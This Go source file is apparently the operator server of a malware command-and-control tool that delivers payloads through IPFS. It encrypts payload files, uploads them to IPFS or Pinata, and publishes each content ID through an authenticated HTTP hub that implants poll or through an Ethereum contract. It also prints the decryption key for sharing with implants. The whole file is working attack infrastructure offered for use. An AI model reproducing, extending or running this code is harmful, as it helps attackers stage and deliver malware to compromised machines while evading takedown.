// Command server is the operator console for the C2 IPFS payload delivery system. // // MODE A — Simple HTTP CID Hub: // Runs a lightweight HTTP server that serves new CIDs. // Implants poll GET /cid for the current CID. // // MODE B — Smart Contract CID Feed (optional, requires go-ethereum): // Build with: go build -tags ethereum ./cmd/server // Interacts with an Ethereum smart contract that emits NewCID events. package main import ( "bufio" "encoding/hex" "encoding/json" "flag" "fmt" "log" "net/http" "os" "os/signal" "strings" "sync" "syscall" "time" "github.com/churchofmalware/c2-ipfs-payload/pkg/auth" "github.com/churchofmalware/c2-ipfs-payload/pkg/crypto" "github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs" "github.com/churchofmalware/c2-ipfs-payload/pkg/types" ) // Server state. type Server struct { mu sync.RWMutex currentCID string history []types.CIDEntry startTime time.Time mode string // "http" or "contract" ipfsClient *ipfs.Client encKey []byte config Config // For contract mode contractAddress string rpcURL string } // Config holds server configuration flags. type Config struct { port int username string password string jwtToken string mode string ipfsAPI string pinataJWT string encKeyHex string contractAddr string rpcURL string maxHistory int } func (s *Server) addHistory(cid, note string) { s.mu.Lock() defer s.mu.Unlock() entry := types.CIDEntry{ CID: cid, Timestamp: time.Now().UTC(), Note: note, } s.history = append(s.history, entry) if len(s.history) > s.config.maxHistory { s.history = s.history[len(s.history)-s.config.maxHistory:] } s.currentCID = cid } // --- HTTP Handlers (Mode A) --- func (s *Server) handleGetCID(w http.ResponseWriter, r *http.Request) { s.mu.RLock() cid := s.currentCID s.mu.RUnlock() if cid == "" { http.Error(w, `{"error":"no CID set"}`, http.StatusNotFound) return } w.Header().Set("Content-Type", "application/json") json.NewEncoder(w).Encode(map[string]string{"cid": cid}) } func (s *Server) handlePostCID(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "method not allowed", http.StatusMethodNotAllowed) return } var req struct { CID string `json:"cid"` Note string `json:"note,omitempty"` } if err := json.NewDecoder(r.Body).Decode(&req); err != nil { http.Error(w, fmt.Sprintf(`{"error":"invalid JSON: %s"}`, err), http.StatusBadRequest) return } req.CID = strings.TrimSpace(req.CID) if !ipfs.IsValidCID(req.CID) { http.Error(w, `{"error":"invalid CID format"}`, http.StatusBadRequest) return } s.addHistory(req.CID, req.Note) w.Header().Set("Content-Type", "application/json") json.NewEncoder(w).Encode(map[string]string{ "status": "ok", "cid": req.CID, }) } func (s *Server) handleHistory(w http.ResponseWriter, r *http.Request) { s.mu.RLock() history := make([]types.CIDEntry, len(s.history)) copy(history, s.history) s.mu.RUnlock() w.Header().Set("Content-Type", "application/json") if history == nil { w.Write([]byte("[]")) return } json.NewEncoder(w).Encode(history) } func (s *Server) handleStatus(w http.ResponseWriter, r *http.Request) { s.mu.RLock() cid := s.currentCID history := make([]types.CIDEntry, len(s.history)) copy(history, s.history) s.mu.RUnlock() resp := types.StatusResponse{ CurrentCID: cid, History: history, Mode: s.mode, Uptime: time.Since(s.startTime).Round(time.Second).String(), } w.Header().Set("Content-Type", "application/json") json.NewEncoder(w).Encode(resp) } // --- Operator Console --- func (s *Server) runConsole() { scanner := bufio.NewScanner(os.Stdin) fmt.Println() fmt.Println("╔══════════════════════════════════════════╗") fmt.Println("║ C2 IPFS Payload — Operator Console ║") fmt.Println("╚══════════════════════════════════════════╝") fmt.Printf("Mode: %s | Port: %d\n", strings.ToUpper(s.mode), s.config.port) if s.mode == "http" { fmt.Printf("CID Hub: http://0.0.0.0:%d/cid\n", s.config.port) } fmt.Println() fmt.Println("Commands:") fmt.Println(" deploy — Encrypt, upload to IPFS, update CID") fmt.Println(" cid — Manually set CID") fmt.Println(" encrypt — Encrypt a file, upload to IPFS, show CID") fmt.Println(" status — Show current state") fmt.Println(" history — Show recent CID history") fmt.Println(" genkey — Generate a new encryption key") fmt.Println(" help — Show this help") fmt.Println(" exit — Shutdown") fmt.Println() for { fmt.Print("> ") if !scanner.Scan() { break } line := strings.TrimSpace(scanner.Text()) if line == "" { continue } parts := strings.Fields(line) cmd := parts[0] switch cmd { case "exit", "quit": fmt.Println("Shutting down...") os.Exit(0) case "help": fmt.Println("Commands:") fmt.Println(" deploy — Encrypt, upload to IPFS, update CID") fmt.Println(" cid — Manually set CID") fmt.Println(" encrypt — Encrypt a file, upload to IPFS, show CID") fmt.Println(" status — Show current state") fmt.Println(" history — Show recent CID history") fmt.Println(" genkey — Generate a new encryption key") fmt.Println(" exit — Shutdown") case "genkey": key, err := crypto.GenerateKey() if err != nil { fmt.Printf("Error: %v\n", err) continue } fmt.Printf("New encryption key: %s\n", key) fmt.Println("SAVE THIS KEY. It cannot be recovered.") fmt.Println("Share it with implants via --decryption-key") case "status": s.mu.RLock() fmt.Printf("Current CID: %s\n", s.currentCID) fmt.Printf("Mode: %s\n", s.mode) fmt.Printf("Uptime: %s\n", time.Since(s.startTime).Round(time.Second)) fmt.Printf("History entries: %d\n", len(s.history)) fmt.Printf("Contract address: %s\n", s.contractAddress) s.mu.RUnlock() case "history": s.mu.RLock() if len(s.history) == 0 { fmt.Println("No history.") } else { fmt.Println("Recent CIDs:") for i, entry := range s.history { note := entry.Note if note == "" { note = "(no note)" } fmt.Printf(" %d. %s [%s] %s\n", i+1, entry.CID, entry.Timestamp.Format(time.RFC3339), note) } } s.mu.RUnlock() case "cid": if len(parts) < 2 { fmt.Println("Usage: cid ") continue } newCID := parts[1] if !ipfs.IsValidCID(newCID) { fmt.Println("Invalid CID format.") continue } note := "" if len(parts) > 2 { note = strings.Join(parts[2:], " ") } s.addHistory(newCID, note) fmt.Printf("CID updated to: %s\n", newCID) case "encrypt": if len(parts) < 2 { fmt.Println("Usage: encrypt ") continue } filePath := parts[1] s.cmdEncrypt(filePath) case "deploy": if len(parts) < 2 { fmt.Println("Usage: deploy ") continue } filePath := parts[1] s.cmdDeploy(filePath) default: fmt.Printf("Unknown command: %s. Type 'help'\n", cmd) } } } func (s *Server) cmdEncrypt(filePath string) { data, err := os.ReadFile(filePath) if err != nil { fmt.Printf("Error reading file: %v\n", err) return } encrypted, err := crypto.Encrypt(data, s.encKey) if err != nil { fmt.Printf("Error encrypting: %v\n", err) return } // Extract filename without path fileName := filePath if idx := strings.LastIndex(filePath, "/"); idx >= 0 { fileName = filePath[idx+1:] } encName := fileName + ".enc" // Upload to IPFS fmt.Printf("Uploading encrypted payload (%d bytes) to IPFS...\n", len(encrypted)) resp, err := s.ipfsClient.Upload(encrypted, encName) if err != nil { fmt.Printf("IPFS upload failed: %v\n", err) fmt.Println("Encrypted file saved locally as:", encName) os.WriteFile(encName, encrypted, 0644) fmt.Println("Use 'ipfs add' or Pinata to upload manually, then 'cid ' to set it.") return } fmt.Printf("Uploaded! CID: %s\n", resp.CID) fmt.Printf("Local copy: %s\n", encName) os.WriteFile(encName, encrypted, 0644) fmt.Println() fmt.Println("To deploy, run: cid", resp.CID) } func (s *Server) cmdDeploy(filePath string) { data, err := os.ReadFile(filePath) if err != nil { fmt.Printf("Error reading payload: %v\n", err) return } encrypted, err := crypto.Encrypt(data, s.encKey) if err != nil { fmt.Printf("Error encrypting payload: %v\n", err) return } fileName := filePath if idx := strings.LastIndex(filePath, "/"); idx >= 0 { fileName = filePath[idx+1:] } encName := fileName + ".enc" fmt.Printf("Encrypted %s (%d bytes raw -> %d bytes encrypted)\n", filePath, len(data), len(encrypted)) fmt.Println("Uploading to IPFS...") resp, err := s.ipfsClient.Upload(encrypted, encName) if err != nil { fmt.Printf("IPFS upload failed: %v\n", err) return } s.addHistory(resp.CID, "deploy: "+fileName) fmt.Printf("✅ Deployed!\n") fmt.Printf(" Payload: %s\n", filePath) fmt.Printf(" Encrypted: %s\n", encName) fmt.Printf(" IPFS CID: %s\n", resp.CID) fmt.Printf(" Size: %d bytes\n", len(encrypted)) if s.mode == "contract" { if s.contractAddress != "" { fmt.Println() fmt.Println("To send CID to contract:") fmt.Printf(" > send-cid %s %s\n", s.contractAddress, resp.CID) fmt.Println("(Requires --rpc-url and go-ethereum build)") } } } // --- HTTP Server --- func (s *Server) startHTTPServer() { if s.mode != "http" { return } mux := http.NewServeMux() // Apply auth middleware based on config var getCIDHandler http.HandlerFunc = s.handleGetCID var postCIDHandler http.HandlerFunc = s.handlePostCID var historyHandler http.HandlerFunc = s.handleHistory var statusHandler http.HandlerFunc = s.handleStatus if s.config.jwtToken != "" { getCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handleGetCID) postCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handlePostCID) historyHandler = auth.JWTAuth(s.config.jwtToken, s.handleHistory) statusHandler = auth.JWTAuth(s.config.jwtToken, s.handleStatus) } else { getCIDHandler = auth.BasicAuth(s.config.username, s.config.password, getCIDHandler) postCIDHandler = auth.BasicAuth(s.config.username, s.config.password, postCIDHandler) historyHandler = auth.BasicAuth(s.config.username, s.config.password, historyHandler) statusHandler = auth.BasicAuth(s.config.username, s.config.password, statusHandler) } mux.HandleFunc("/cid", func(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodGet: getCIDHandler(w, r) case http.MethodPost: postCIDHandler(w, r) default: http.Error(w, "method not allowed", http.StatusMethodNotAllowed) } }) mux.HandleFunc("/history", historyHandler) mux.HandleFunc("/status", statusHandler) mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "application/json") info := map[string]interface{}{ "service": "c2-ipfs-payload", "version": "1.0.0", "mode": s.mode, "auth": s.config.jwtToken != "" || s.config.username != "", "endpoints": map[string]string{ "GET /cid": "Get current CID", "POST /cid": "Set a new CID (body: {\"cid\":\"...\"})", "GET /history": "Get recent CID history", "GET /status": "Get server status", }, } json.NewEncoder(w).Encode(info) }) addr := fmt.Sprintf("0.0.0.0:%d", s.config.port) log.Printf("CID Hub listening on %s (mode A — HTTP)", addr) if err := http.ListenAndServe(addr, mux); err != nil { log.Fatalf("Server failed: %v", err) } } func main() { // Flags cfg := Config{} flag.IntVar(&cfg.port, "port", 8443, "HTTP server port (mode A)") flag.StringVar(&cfg.username, "user", "", "Basic auth username (mode A)") flag.StringVar(&cfg.password, "pass", "", "Basic auth password (mode A)") flag.StringVar(&cfg.jwtToken, "jwt", "", "JWT token for auth (mode A, overrides basic auth)") flag.StringVar(&cfg.mode, "mode", "http", "Operation mode: 'http' or 'contract'") flag.StringVar(&cfg.ipfsAPI, "ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL (for local daemon uploads)") flag.StringVar(&cfg.pinataJWT, "pinata-jwt", "", "Pinata.cloud JWT (alternative IPFS upload)") flag.StringVar(&cfg.encKeyHex, "enc-key", "", "Encryption key (32-byte hex, auto-generates if empty)") flag.StringVar(&cfg.contractAddr, "contract", "", "Smart contract address (mode B)") flag.StringVar(&cfg.rpcURL, "rpc-url", "", "Ethereum RPC URL (mode B)") flag.IntVar(&cfg.maxHistory, "max-history", 100, "Maximum history entries to keep") flag.Parse() // Encryption key var encKey []byte if cfg.encKeyHex != "" { var err error encKey, err = hex.DecodeString(cfg.encKeyHex) if err != nil { log.Fatalf("Invalid encryption key hex: %v", err) } if len(encKey) != crypto.KeySize { log.Fatalf("Encryption key must be %d bytes hex (got %d)", crypto.KeySize, len(encKey)) } fmt.Printf("Using provided encryption key: %s...%s\n", cfg.encKeyHex[:8], cfg.encKeyHex[len(cfg.encKeyHex)-8:]) } else { keyHex, err := crypto.GenerateKey() if err != nil { log.Fatalf("Failed to generate key: %v", err) } encKey, _ = hex.DecodeString(keyHex) fmt.Printf("Generated new encryption key: %s\n", keyHex) fmt.Println("⚠️ SAVE THIS KEY. Share with implants via --decryption-key") fmt.Println() } // IPFS client ipfsClient := ipfs.NewClient(cfg.ipfsAPI, cfg.pinataJWT) server := &Server{ startTime: time.Now(), mode: cfg.mode, ipfsClient: ipfsClient, encKey: encKey, config: cfg, contractAddress: cfg.contractAddr, rpcURL: cfg.rpcURL, history: make([]types.CIDEntry, 0, cfg.maxHistory), } // Start console go server.runConsole() // Start HTTP server (mode A only; mode B uses console-only for contract ops) if cfg.mode == "http" { go server.startHTTPServer() } else if cfg.mode == "contract" { log.Printf("Running in contract mode — no HTTP CID hub.") log.Printf("Use 'send-cid' command (build with -tags ethereum) to emit CIDs to contract.") fmt.Printf("Contract address: %s\n", cfg.contractAddr) fmt.Printf("RPC URL: %s\n", cfg.rpcURL) } else { log.Fatalf("Unknown mode: %s (use 'http' or 'contract')", cfg.mode) } // Wait for signal sigCh := make(chan os.Signal, 1) signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) <-sigCh fmt.Println("\nShutting down...") }